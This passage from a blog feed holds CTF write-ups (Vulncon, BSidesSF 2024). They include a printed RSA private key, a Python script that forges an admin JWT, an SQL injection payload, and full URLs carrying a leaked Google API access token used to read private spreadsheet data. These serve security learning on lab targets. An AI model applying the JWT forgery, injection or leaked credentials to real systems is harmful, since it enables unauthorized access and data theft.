https://keybase.io/crypto<br><br>yMrIAnicbZdZ6D2HVcf/aayNg4UEoWlTIdHixjTcO3d26cLs+z5z5840Ume7s9y5<br>c2e5M3dmjA9FSwMWUoW8aAPxIREpaCnaFlqJiTU2xIXihohoFxFEE6RW+2DVX0p9<br>8zwdOA8HvufwOef7pbfffw+47wOP/d6fvf7G8EP3vfbav433juIHfuzxN4PmBEl/<br>zHaox0xb2lMu95jCBd+tAJokyQol0RSlMFTOUbcTP9c5y2yCIYghGosTdRmyS4PD<br>cp3gTHTc0TCUFVdLPXDMeS2AbHc0co6DesWeTzVCTOpu0oe8CPsL13XNXlbx8NyZ<br>o2XBXklC+aW4+gYLguWmQ6aak4HuaIJWKfMt2MTbeQ+NVFk26hD3opaRZrtJRDn1<br>jKu28720c3PlXBwvcTIcXI4ppdnDgQm8GbTAQHgO2/DJq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b77yru7BVx9Knnr0XZ/+9g//2reWN/6+evKz<br>v/wPn/jXr33K+M5Tr//EvW8+/kzwqx946/KbX33PZ959/zuepp7mvS+98MDPf+f5<br>f3zknY9XH/b//etfN5jP/uAXfvSDr8x/Sr/wqPuN+7/gKr/x+Vead3y6+a8XxXd/<br>5KWfeQJ88VsfeuKNn/2fP3zm+vw/v078lfeX33jliz/9Set9v/CW5HPa7zz31d/9<br>9Wc+99Cn7vv4h55/70sPPWB85uE/f/aZP3r1pX/KnjU/+uSjf/HQZ16P/uXvvvL0<br>w1flHZ//8U+98FN/8vZffPlrX/72a+995DL8h+iqwcc+eCI+8oknf+X+7uGn0r/+<br>6MffJ7znuXf+0n8+YH/6t5/94jdf/F8XtLnV<br>=PYJ2<br>-----END PGP MESSAGE-----</pre><p>Let&#39;s decode this again using keybase:</p><pre>-----BEGIN RSA PRIVATE KEY-----<br>MIIJKAIBAAKCAgEAwkFxlgDC/YsYb1B6bcLyseon73Jlc7Caf2B31ehtQLXECmzh<br>e2fOgEE1rKRxkl48vL2vNsghZroEqqnVJL7ZmqPuQQ3Ui91gohtWOD++i/q4vlEJ<br>qfP+QiJFp+nb0xV1uAiinLsbrHMe9Pp/cHJdUOtM2WUdqTgKmhfobcsXTECiIxU7<br>v+wOBGC17g3R3kUlJ/N15ajRrnFApv098etG1Zev09H+35vrFvX3Gq55I3j3FLq4<br>BNqHdqbiTpcq43uSdbRzSW1iehXiFTPZT6EsayhhxYKbZbMPHK8HOKt2L4tvTKwy<br>TDsp0ZHpjtxTVBAcz4iH4vZHmjOAQSxUJ6+tbWQrtRccGzkcVp50Sp6Dy2qfayq/<br>tEk3Tjkfr0NdGqV3uYD8kjApiQ5KG8ifKWGpXKaxCYxzsSKPBR1pC+RB8o8syPWU<br>xI1lRNREwjiywZqxd+fbJep976EDujDESnRswbprqAth3vZ4vgXZWjcYIQezCara<br>IP9KvwX9vp3FhYPIWYvuq4/q+JCWYcTaD8yDXrI6zbSXPcYTIF0rmm3vI6yd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<br>OPa4oMBa7Jrzj+CdgP0xCrHzSAjWpkJUHLebqCBNJxxd7dPSyl/ePwIcVKA2c2We<br>9cwHW0oX1KAsq4IHgv7V1LzCoLdhMQLkDbpaGlQOahh7/HyN04TuAiHzPSZ8YYH6<br>ISgrQ4eOEFlNOZVLMa19vafAYHBB5d5dAoIBAAr5zAxRXszfOtuMgIqkyEQ5sK1k<br>gPLRp3AhCdFHYl9ST9ZdEUFn5cANFXD4PWlecDQNxGcPBn2KRNYa8qguo4NTlu+d<br>vu4SseK1LobDyEIfRNCRjaxUw3lwXP3qmToYAcjfkH3vvJw8Sav78n6DAU2YzO1u<br>4PVKQeIHl0MntklpFOCEqX75om7yQh7TLnmB8k9Buuh8zDZVa7aBVlbPIxTfJWxn<br>lD83HQ3bdcPAt3PfQ+SieCGYQRTuBjinbyf7yXhYLltTiHGRPmf9K/q3D/AahLf7<br>o5BGjIQBQKhad+69ExybWifc4P4fwEpMiSb4dcRTZE6eqZ9p1lYxRiGKEVc=<br>-----END RSA PRIVATE KEY-----</pre><p>So we have the JWT key with us and we can edit the JWT as we want. But what&#39;s the user ID of sysadmin?</p><p>/me said that we are user 101.</p><p>If we use intruder on: /user/id , we see that userid 103 s is sysadmin:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*FKKR4C5kMW_1anJEsWTXNw.png" /></figure><p>Now let&#39;s Resign the JWT with role:sysadmin and id:103. I have a Python script to do so:</p><pre>import jwt<br>from datetime import datetime, timedelta<br>from cryptography.hazmat.primitives import serialization<br>from cryptography.hazmat.primitives.asymmetric import rsa<br><br># RSA private key in PEM format<br>private_key_pem = b&quot;&quot;&quot;<br>-----BEGIN RSA PRIVATE KEY-----<br>MIIJKAIBAAKCAgEAwkFxlgDC/YsYb1B6bcLyseon73Jlc7Caf2B31ehtQLXECmzh<br>e2fOgEE1rKRxkl48vL2vNsghZroEqqnVJL7ZmqPuQQ3Ui91gohtWOD++i/q4vlEJ<br>qfP+QiJFp+nb0xV1uAiinLs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n+/PJdAXcur8jvl7CTlP3ppxvyGh6xFJ6RFlBDJW<br>QkiWp76nMsC4m8v/ViwBrhmqXGJGesWfo1xIFZdP8NL13mUAeN0d/o7HcUisjR9+<br>N3tIxjxGg8JjA43EbP2E3gP41oTWZrOwo1k39RNoj7jYuGSTqz16F2OPm3ZZhM98<br>/L/wh+01uPgI48xzLCLVK5DaOGqc0RwwgPiF6hfUzDLevrBWdsNBY74oqpR0bYQE<br>MauZtQKCAQBLgHOgHNr1HIjvAFFT5uESbkzGWahoJvqZWoa+wz9a4g9phT4MYhQm<br>AmC6y5aAaYkC1IScoskCoSJRpagRE7oRgsmugWY5K7FqNi08I7RO8yPdBwPTAsEd<br>nkn9Qe9SosA+jSdHWV+RYpAm7FDcSwquKRj0n07481dl8n8Zajc+fxEEWRxXUnZz<br>OPa4oMBa7Jrzj+CdgP0xCrHzSAjWpkJUHLebqCBNJxxd7dPSyl/ePwIcVKA2c2We<br>9cwHW0oX1KAsq4IHgv7V1LzCoLdhMQLkDbpaGlQOahh7/HyN04TuAiHzPSZ8YYH6<br>ISgrQ4eOEFlNOZVLMa19vafAYHBB5d5dAoIBAAr5zAxRXszfOtuMgIqkyEQ5sK1k<br>gPLRp3AhCdFHYl9ST9ZdEUFn5cANFXD4PWlecDQNxGcPBn2KRNYa8qguo4NTlu+d<br>vu4SseK1LobDyEIfRNCRjaxUw3lwXP3qmToYAcjfkH3vvJw8Sav78n6DAU2YzO1u<br>4PVKQeIHl0MntklpFOCEqX75om7yQh7TLnmB8k9Buuh8zDZVa7aBVlbPIxTfJWxn<br>lD83HQ3bdcPAt3PfQ+SieCGYQRTuBjinbyf7yXhYLltTiHGRPmf9K/q3D/AahLf7<br>o5BGjIQBQKhad+69ExybWifc4P4fwEpMiSb4dcRTZE6eqZ9p1lYxRiGKEVc=<br>-----END RSA PRIVATE KEY-----<br>&quot;&quot;&quot;<br><br># Load the private key<br>private_key = serialization.load_pem_private_key(<br>    private_key_pem,<br>    password=None,<br>)<br><br># JWT string<br>jwt_token = &quot;eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAxLCJyb2xlIjoiZGV2ZWxvcGVyIiwiaWF0IjoxNzE2MDAzMjI0fQ.MzJyfqrJkvG2TJ9BpEu37ahfKCkGI5-NRB6_ykZuWbPCORIlUicOPaDBZwtKPmwgDJbGU4l_V_TwInHkleyVYKtz-oGN0zf8dH8NyKZbibKQCKPacvzioja4cxXNIbvyF_Q3weAA2TSJuYd0hqjW4W355VMOOfDXKs9VE6Rcrd7snjI8rnwraOJjt6lvU7EBc8DJJTNZYFTvmMx8CForioRIyn1LEz5l1ob-_LixY5_prbipzQgfSRx79o2befMucjl6cJHOBQJbOeh5x4V0XLDN4yaxH-bqPe1oYO2MAwyHVqMJ5WVomIOfxfN01rG0PtvSh8CsCoP66kxYa-ga2gyzGkAVhRiizco9uBpoARnrL7q1Tuylf0-kyxquSjs2vEG0UXU5FN3s8VYUUpANmJEf26RjEylNHWLS26AiFvxYZcwd4Zw9AbmAHsHKCedCaQ6o93SDmUnBK-UwFX0ldDusgoOpWVR5hApinhiig76DemP2yC_1dwoRk6xhQa-9LnpjpuElT4ivhlh1j-Fr3Yxm4RTQUc6oMPc7o6BGa5PBGKV4vPQH8NxAQyFv85u22fOMXBE-Jhlh1h2M2NMH_u8u3f5V2wU_471oyxRB8iLFdPwB7JNREcNwjPNzGyMCE6GEg2fDtunPOw7BnJH09FEqzB6tnejwDgUa4w3zybY&quot;<br><br># Decode the JWT<br>decoded = jwt.decode(jwt_token, private_key.public_key(), algorithms=[&quot;RS256&quot;])<br>print(&quot;Original decoded JWT:&quot;, decoded)<br><br># Modify the payload<br>decoded[&#39;id&#39;] = 103<br>decoded[&#39;role&#39;] = &#39;sysadmin&#39;<br>decoded[&#39;iat&#39;] = int((datetime.utcnow() - datetime(1970, 1, 1)).total_seconds())<br><br># Re-encode and sign the JWT with the private key<br>new_jwt_token = jwt.encode(decoded, private_key_pem, algorithm=&quot;RS256&quot;)<br><br>print(&quot;New JWT:&quot;, new_jwt_token)</pre><p>Run the code and you will get:</p><pre>eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAzLCJyb2xlIjoic3lzYWRtaW4iLCJpYXQiOjE3MTYxMzQ2MzN9.M9_nVRV88OUrm2Ne9sdMdueHgrjexYukZ4RRjRDDMFUIRklXLT_NXi5w2wYkLnOQVR-VQqMJ9yVKt9xFhuMsfOMjumrn0HV1CxGlqs43VJ0opht1O7ZQwYizQnbtUKV7G6e00OleV13M-GWYN-10TLXfkd-prfxTUX8v0iVCB6IJbpCN1Ops4wOM1cMHxfErxtbWgx16QkCdXOje5GgeZHrKTYr9TA_acgaK7vyFvIe4ioDMQkaCybl0EZMccLvafhHbWAReOFxchwmZj6-llt2wIzTO722518SQbyavmAgvBOYQIb8xbjsgsflaSAbAyv3yKnZJB4H4m_-EqypqvcyOfhSbPVKz5Zg-EZdnt5H_innVbE7pYCJeYq897DlfSJoiVy_lzAM3ltN9jUP0ghJs46lEKagUUDOMR8EQjV1i72FWzc_WS1T5QHi5NoCc_WLM4FkBTDFcGAyaaaVoxEZoj-7dKxGO6eMQu8bJMORgLZxjTpXpKQc-VlBgtvSqquBoWVLoQP7uNeIGI_fuq9KF1WdOLI7W7zoPbQJ_uAWYSO9iYZD7NtrHoMjuQVLtq_KRu2TGZfOLbXuZUJ6PkXddOGdrzdR3Pky7e3SkKHSg5IN4psymIssKirvxqLgWZ6LApv_gHc1_pTSKCdnOB9YfIll7hE34hvJIriry-rM</pre><p>Now change the Authorization header and access /uploads:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/1*dDG087b9BT_kPIPJsojnSA.png" /></figure><p>Flag: /static/1716012768999-flag.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*5jt2_zS82_Tg1abcZ3jfrA.png" /></figure><p>FLAG: <strong>vulncon{4p1_p3nt35t1ng_15_c00l_h4ck}</strong></p><p>I solved 10 challenges and ended up in the 9th spot. Hope to finish the podium next year.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z3NXYD96MCaJP66fm9VSJg.png" /></figure><p>Thank you,</p><p>Special mentions to the entire <a href="https://x.com/vulncon">@vulncon</a> team for such an amazing CTF.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0a7bf21bf96d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BsidesSF CTF 2024 Writeup]]></title>
            <link>https://medium.com/@pphreak313/bsidessf-ctf-2024-writeup-302880fe8165?source=rss-295ad504dab1------2</link>
            <guid isPermaLink="false">https://medium.com/p/302880fe8165</guid>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[bsidessf]]></category>
            <dc:creator><![CDATA[Shlok K]]></dc:creator>
            <pubDate>Mon, 06 May 2024 13:36:45 GMT</pubDate>
            <atom:updated>2024-05-06T13:36:45.426Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone. So I recently participated in BSidesSF CTF 2024 and i must say it was an amazing journey with amazing challenges from all categories, be it Forensics, Web and many more. Sadly, i did not end up with very good rank but i am happy as this CTF added many things to my knowledge base.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WFXut4n_HjXaTES3CvSXRw.png" /></figure><p>So lets begin with the writeup:</p><ol><li><strong>Challenge 1: Doctor</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/504/1*8_ReLjD5d_AA0wdwwoJ59g.png" /></figure><p>Description: This doc seems to be hiding something. Can you find what’s hidden?</p><p>Attachment: SuperSecretWordDoc.docx</p><p>So the very thing i did was to download the given attachment. Now, as the description say that the doc might be hiding things up, the very first things i thought was to check if there is any file embedded in the doc. I used:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*s5O0dEInERNJKa4I8He9Pw.png" /></figure><p>This made it sure that the document has a bunch of hidden files. I changed the file extension of the doc to .zip and unzipped it on my windows machine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*ydhKRyKCQ8uftPOT0oFkDw.png" /></figure><p>It had a bunch of files and directories and under word/media , there was an image file with name image0.png which contained the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XNxYuHL4OKibdzdFrkNThw.png" /></figure><p><strong>FLAG :</strong> <strong>CTF{st0ck_cut3_p1c5} ; Points: 100</strong></p><p>2. <strong>Challenge 2: JavAI</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/1*itxQUqxpbvaQvgMl3pOC8w.png" /></figure><p>Description: Please look over this marketing document on our new JavAI mascot.</p><p>Attachment: JavAI.docx</p><p>This was same challenge as Doctor but when the files are extracted it gives you a <strong>getflag.class</strong> file which contains the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*OzzesPEFkmw3sf-3axBuxg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*h_NAn3FCRf3PxSlz4aGpiw.png" /></figure><p>FLAG : <strong>CTF{javai_java_with_100x_ai} ; Points: 100</strong></p><p><strong>3:</strong> <strong>Challenge 3: llflagprinter</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/1*fq8QhKdvX1tTwC5Pngd9Sg.png" /></figure><p>Description: We’ve gotten the LLVM compilation started for you, now you just need to complete it for your system.</p><p>Attachments: llflagprinter.bc</p><p>Now as the description say, this was a straight forward challenge where we needed to run the LLVM compiled script. A quick GPT search would let you know this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V5XLIIIH1eGcSssMXQnGxg.png" /></figure><p>Now we are already give the bitcode file with us. Lets run this on our machine to get the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/367/1*am_Lc0nkYM5_Xy2oTugIVQ.png" /></figure><p>FLAG : <strong>CTF{llvm_a_llm_for_v_enthusiasts} ; Points: 100</strong></p><p>4. <strong>Challenge 4: match-one</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*yTQToPH3467fsW3AcDEaQw.png" /></figure><p>Description: Match cards to win, don’t get any wrong!</p><p>Here we are given a webpage where we can play Match the cards game. Whats a match the cards game? So basically its a memory based game where you have to keep in mind the position of the cards and match the correct cards. Here, the website will only give us flag if we match all the cards in one go without getting any card wrong. If we fail to do so, the flag is not displayed.</p><p>How to solve:</p><p>This was the easy side of this challenge and with some observation, we come to know that the source code has all the image position leaked. So we can create a logical matrix and use it to get all cards matched correctly in one go.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CuzB6rMgpIbGZ3NmzmAzyA.png" /></figure><p>Lets create the matrix:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/64/1*D6OMcB5VRs_MgqzI0bzZbA.png" /></figure><p>Now match the cards as per the position and click on get flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rLqom8GC2z5nBHLLtK_O1w.png" /></figure><p>FLAG: <strong>CTF{ch3cks0mes0urc3} ; Points: 100</strong></p><p>5. <strong>Challenge 5: No Tools</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*ovRHFk81JHW1J3NNmTaIjQ.png" /></figure><p>Description: The flag is in /home/ctf/flag.txt, but where&#39;d all the tools go???</p><p>So basically we are provided with a bash terminal which says “Some joker rm -rf’d my binaries!! Luckily, the flag’s just sitting<br>in /home/ctf/flag.txt — can you read it using sh built-in functions?”</p><p>I tried checking what build in functions are available. The common builtins as cat, tac, curl etc where not available, so i though of using echo to read the file. But it did not work as well.</p><p>The final solution was to run a bash script in order to read the content of the file:</p><pre>file=&quot;/home/ctf/flag.txt&quot;; exec 3&lt; &quot;$file&quot;; while IFS= read -r line &lt;&amp;3; do printf &quot;%s\n&quot; &quot;$line&quot;; done; exec 3&lt;&amp;-</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*SGtq5Nz7HT8xWsey82iScA.png" /></figure><p>FLAG: <strong>CTF{where-are-my-tools} ; Points: 100</strong></p><p>6. Challenge 6: sgai-1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*LgXmxzAN7eo6xru1jdQGMQ.png" /></figure><p>Description: This image from the past may hold the key to our future survival if you can find the hidden flag! (This is flag 1 of 4).</p><p>Attachment: sgai.tar.xz</p><p>This was a sequential challenge which meant that there were multiple flags in the same file. Each flag has different points value.</p><p>The very first thing was to download the file and extract it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/353/1*hKKuMSALPai_-zmDnDQoFg.png" /></figure><p>The notes.txt was just a challenge brief same as the description.</p><p>The interesting file here was sgai.sgi . A quick google search says,<br>“<strong>Silicon Graphics Image</strong> (<strong>SGI</strong>) or the <strong>RGB file format</strong> is the native <a href="https://en.wikipedia.org/wiki/Raster_graphics">raster</a> <a href="https://en.wikipedia.org/wiki/Graphics_file_format">graphics file format</a> for <a href="https://en.wikipedia.org/wiki/Silicon_Graphics">Silicon Graphics</a> workstations.<a href="https://en.wikipedia.org/wiki/Silicon_Graphics_Image#cite_note-sgi-4">[4]</a> The format was invented by <a href="https://en.wikipedia.org/wiki/Paul_Haeberli">Paul Haeberli</a>.<a href="https://en.wikipedia.org/wiki/Silicon_Graphics_Image#cite_note-sgi-4">[4]</a> It can be <a href="https://en.wikipedia.org/wiki/Run-length_encoding">run-length encoded</a> (RLE). <a href="https://en.wikipedia.org/wiki/FFmpeg">FFmpeg</a> and <a href="https://en.wikipedia.org/wiki/ImageMagick">ImageMagick</a>, among others, support this format.”</p><p>The 1st flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/344/1*ZWvKIO1WLlJV_APnLFgdQA.png" /></figure><p>FLAG : CTF{i_name_thee_flag} ; Points : 100</p><p>Now moving on to hunt for sgai-2; The question here was how to open the sgi image. Google suggested to use GIMP. I used gimp to open the file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DJPG1t7H3ZWAupp8uPnkyQ.png" /></figure><p>Flag 2:</p><p>Now playing around with the pixels, Masking the Alpha Channel attribute gave the flag in the missing background pixel:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5jLsd6TBRIcMznscjLPIQA.png" /></figure><p>FLAG: <strong>CTF{invisibility_cloak} ;Points: 100</strong></p><p><strong>7.</strong> <strong>Challenge 7: undelete</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/464/1*umBMs_u_Gy2zeGnygAi2Bg.png" /></figure><p>Description: Try out this file ‘undelete’ challenge! It comes with a walkthrough :-)</p><p>Attachments: undelete.tar.xz</p><p>The very first step was to download and extract the attachment which gave a file named: <strong>floppy.img.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/1*neySMJkxa7jcxwkt7YXsVA.png" /></figure><p>Binwalk suggested that the floppy.img has an embedded png file. The very next step was to extract the file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*zirmfo48lPjloaO6mK8PGA.png" /></figure><p>Out of the extracted files, 4400 is a PNG file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*bsvxVFl3roOcLIAJUeR9YA.png" /></figure><p>Changed the extenstion and opened the image. The image had the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/574/1*cUFkHL4oFqgpa8li2ZKItg.png" /></figure><p>FLAG : <strong>CTF{144_mb_enough_for_anybody} ; Points: 100</strong></p><p><strong>8. Challenge : ztxt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*L-9iIeYRnZq_3u4H-fq6QQ.png" /></figure><p>Description: Ze zhope zou zan zind zour zlag zin ztext zhunk</p><p>Attachments: ztxt.png</p><p>As we can see the description looks confusing and cryptic, things can be inferred from this: we hope you can find our flag in text chunk.</p><p>So yeah, in order to get the flag, i extracted the attachment and got ztxt.png file. Used exiftool and got the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*vMRoqgGK3KtlaQona2vemA.png" /></figure><p>FLAG: <strong>CTF{zhis_zis_zhe_zlag} ;Points: 100</strong></p><p><strong>9 . Challenge: color-picker</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*oeCFD2UUsg92X6cm3dtuOQ.png" /></figure><p>Description: I wonder what color the flag is?</p><p>This was a very interesting challenge. When we access the webpage, we have a drop down menu to select colors:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-C5tkexEqQO2z-2l3TCDjg.png" /></figure><p>The moment we click on submit, we get a row and column of colors and their code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hNMUUanITlJ74XEopEVSoA.png" /></figure><p>If we have a look at the url , we see it takes two GET parameters: range_start and range_end</p><p>Can we supply arbitary parameter values?</p><p>I tried to use a basic SQL injection payload: Dont judge me, thats what everyone does xD ;-;</p><p>Got this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H-bXml3pGo2xO5FtZQaAgQ.png" /></figure><p>Woah! Crazy stuff over here. What i could infer from this?</p><ul><li>The webpage takes range_start and range_end value which is nothing but the CELL values of a spreadsheet as A02 of D5 and displays the content of that cell range from the spreadsheet on the webpage.</li><li>The debug is leaking juicy access_token of google api. Can we utilize this?</li></ul><p>I access the spreadsheet api url:</p><p><a href="https://sheets.googleapis.com/v4/spreadsheets/18hFC6DvTZ-NtbYby7Sej0f8t8-6n0_GL7Uf25acuRk8/values/&#39;%20or%201=1%20limit%201--%20-:C7?access_token=ya29.c.c0AY_VpZg1HaWb8x31XYbeDLAU2DDxgbYr2bXiiWUKD9oSQK2UjgbRKmrcmYbRIm2LE21twt1dLrH6TlFI6pBHn9f8nLeKDYBoTZmakIIXZ96NZPzEbykj8iCSmwM8zB9bTuZGHM08Ovu8e8FwyWb2mVGzpSF2ePkiK07kP7kntraiHUH0yRFXhVpR2KItjRLvNTa3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Ovu8e8FwyWb2mVGzpSF2ePkiK07kP7kntraiHUH0yRFXhVpR2KItjRLvNTa3wIqSRuV1H7wShotQ7gr9apnbh1AXfQ7hspCURauQ-T-UvxL_fsvaRagmjLfa-qFSGWMflUNB6UO1IVkZBIFnMN0xZiSD3Rb3K9-_6dMCcIMtrjcpA64djFG3E6ICfLABXDgZ7Dz6DOb-r5BQwdQX1NLq7Yv6uEtJObh0c6A4_MjDwlgs0bIgT385AOoiu6XO0jIztzeUlizrq3YIX9F-4qkJYIqOu-a4wR5Yxa3doOlefI38WzRa6RhMcB52WIy4I2Zu6_iyo6zliRgndeVMMZzmlj-QgpiMgyx8gxqV8V9WYkmRyZWMfZ4tgMOJBjyoY-5nZUOVu9vkpY5phYUhrnjekptawgqJgZB0VOVuoeiqecFQQ51FfQmmzMVI4XJ1qXrc8fxq07Uh_U32SSjOjZ5hvYuyopoSBUc_9z9Vey9abXIUSlusgzmo4VglqsUy7yqI5jeyOQbY_4h2JZdSx8rMp-OtsynZVSmY8Sg901j-hM8afU5l_xMSiMrFIo15mM-zr6fxybmgSbv6VqUkmt9dqyzpc2qlUo_WZbVx-j2dqdor595YJ1SiaJ7c5vcx1a2OpgyjF9Ws_bQlQ1b7hFdURtBvmWJMvdbnpVnzUtgJ2WO-yzxb1ZQ8vii6J6iMzwa0ZXewxJk6sdu51SFofVXM57aZUR3jXUwa1tSJyIxXb80kSkfy5_cR8YwuouwbM9eiJv7Jdp5oI77fW3YOUyRcQBc2cpZ5pY4qB9YlBfpbO2u3j0FFOgXlnIpx-1Z8yiarWuawxyX74kMcu8_-yQR3brnV7qxB71QlbvB6bRqmuklm2Rn</a></p><p>Got this error:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ExVOKsXWl9e7e1_sEWCpbA.png" /></figure><p>Ok Cool, lets remove the range values?</p><p>URL : <a href="https://sheets.googleapis.com/v4/spreadsheets/18hFC6DvTZ-NtbYby7Sej0f8t8-6n0_GL7Uf25acuRk8/?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ure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kHofMMIg09UGexKL-y6voA.png" /></figure><p>Nice. So we can see that there are 2 sheets in the spreadsheet . Sheet1 and Sheet2.</p><p>Lets move back and supply values again. But this time valid values as A02:D5</p><p><a href="https://sheets.googleapis.com/v4/spreadsheets/18hFC6DvTZ-NtbYby7Sej0f8t8-6n0_GL7Uf25acuRk8/values/A02:C7?access_token=ya29.c.c0AY_VpZg1HaWb8x31XYbeDLAU2DDxgbYr2bXiiWUKD9oSQK2UjgbRKmrcmYbRIm2LE21twt1dLrH6TlFI6pBHn9f8nLeKDYBoTZmakIIXZ96NZPzEbykj8iCSmwM8zB9bTuZGHM08Ovu8e8FwyWb2mVGzpSF2ePkiK07kP7kntraiHUH0yRFXhVpR2KItjRLvNTa3wIqSRuV1H7wShotQ7gr9apnbh1AXfQ7hspCURauQ-T-UvxL_fsvaRagmjLfa-qFSGWMflUNB6UO1IVkZBIFnMN0xZiSD3Rb3K9-_6dMCcIMtrjcpA64djFG3E6ICfLABXDgZ7Dz6DOb-r5BQwdQX1NLq7Yv6uEtJObh0c6A4_MjDwlgs0bIgT385AOoiu6XO0jIztzeUlizrq3YIX9F-4qkJYIqOu-a4wR5Yxa3doOlefI38WzRa6RhMcB52WIy4I2Zu6_iyo6zliRgndeVMMZzmlj-QgpiMgyx8gxqV8V9WYkmRyZWMfZ4tgMOJBjyoY-5nZUOVu9vkpY5phYUhrnjekptawgqJgZB0VOVuoeiqecFQQ51FfQmmzMVI4XJ1qXrc8fxq07Uh_U32SSjOjZ5hvYuyopoSBUc_9z9Vey9abXIUSlusgzmo4VglqsUy7yqI5jeyOQbY_4h2JZdSx8rMp-OtsynZVSmY8Sg901j-hM8afU5l_xMSiMrFIo15mM-zr6fxybmgSbv6VqUkmt9dqyzpc2qlUo_WZbVx-j2dqdor595YJ1SiaJ7c5vcx1a2OpgyjF9Ws_bQlQ1b7hFdURtBvmWJMvdbnpVnzUtgJ2WO-yzxb1ZQ8v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FdURtBvmWJMvdbnpVnzUtgJ2WO-yzxb1ZQ8vii6J6iMzwa0ZXewxJk6sdu51SFofVXM57aZUR3jXUwa1tSJyIxXb80kSkfy5_cR8YwuouwbM9eiJv7Jdp5oI77fW3YOUyRcQBc2cpZ5pY4qB9YlBfpbO2u3j0FFOgXlnIpx-1Z8yiarWuawxyX74kMcu8_-yQR3brnV7qxB71QlbvB6bRqmuklm2Rn</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xg2oZeiJps-HSH1v1YKYdQ.png" /></figure><p>Now the thing to notice here is the url we supplied was : /values/A2:D5?accesc_token= but its reading the cells from Sheet1 only. How can we read from Sheet2</p><p>If we look at above image, its adding by itself a parameter Sheet1!A2:C7</p><p>How about if we supply : /value/Sheet2!A:F ?</p><p><a href="https://sheets.googleapis.com/v4/spreadsheets/18hFC6DvTZ-NtbYby7Sej0f8t8-6n0_GL7Uf25acuRk8/values/Sheet2!A:F?access_token=ya29.c.c0AY_VpZg1HaWb8x31XYbeDLAU2DDxgbYr2bXiiWUKD9oSQK2UjgbRKmrcmYbRIm2LE21twt1dLrH6TlFI6pBHn9f8nLeKDYBoTZmakIIXZ96NZPzEbykj8iCSmwM8zB9bTuZGHM08Ovu8e8FwyWb2mVGzpSF2ePkiK07kP7kntraiHUH0yRFXhVpR2KItjRLvNTa3wIqSRuV1H7wShotQ7gr9apnbh1AXfQ7hspCURauQ-T-UvxL_fsvaRagmjLfa-qFSGWMflUNB6UO1IVkZBIFnMN0xZiSD3Rb3K9-_6dMCcIMtrjcpA64djFG3E6ICfLABXDgZ7Dz6DOb-r5BQwdQX1NLq7Yv6uEtJObh0c6A4_MjDwlgs0bIgT385AOoiu6XO0jIztzeUlizrq3YIX9F-4qkJYIqOu-a4wR5Yxa3doOlefI38WzRa6RhMcB52WIy4I2Zu6_iyo6zliRgndeVMMZzmlj-QgpiMgyx8gxqV8V9WYkmRyZWMfZ4tgMOJBjyoY-5nZUOVu9vkpY5phYUhrnjek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mRyZWMfZ4tgMOJBjyoY-5nZUOVu9vkpY5phYUhrnjekptawgqJgZB0VOVuoeiqecFQQ51FfQmmzMVI4XJ1qXrc8fxq07Uh_U32SSjOjZ5hvYuyopoSBUc_9z9Vey9abXIUSlusgzmo4VglqsUy7yqI5jeyOQbY_4h2JZdSx8rMp-OtsynZVSmY8Sg901j-hM8afU5l_xMSiMrFIo15mM-zr6fxybmgSbv6VqUkmt9dq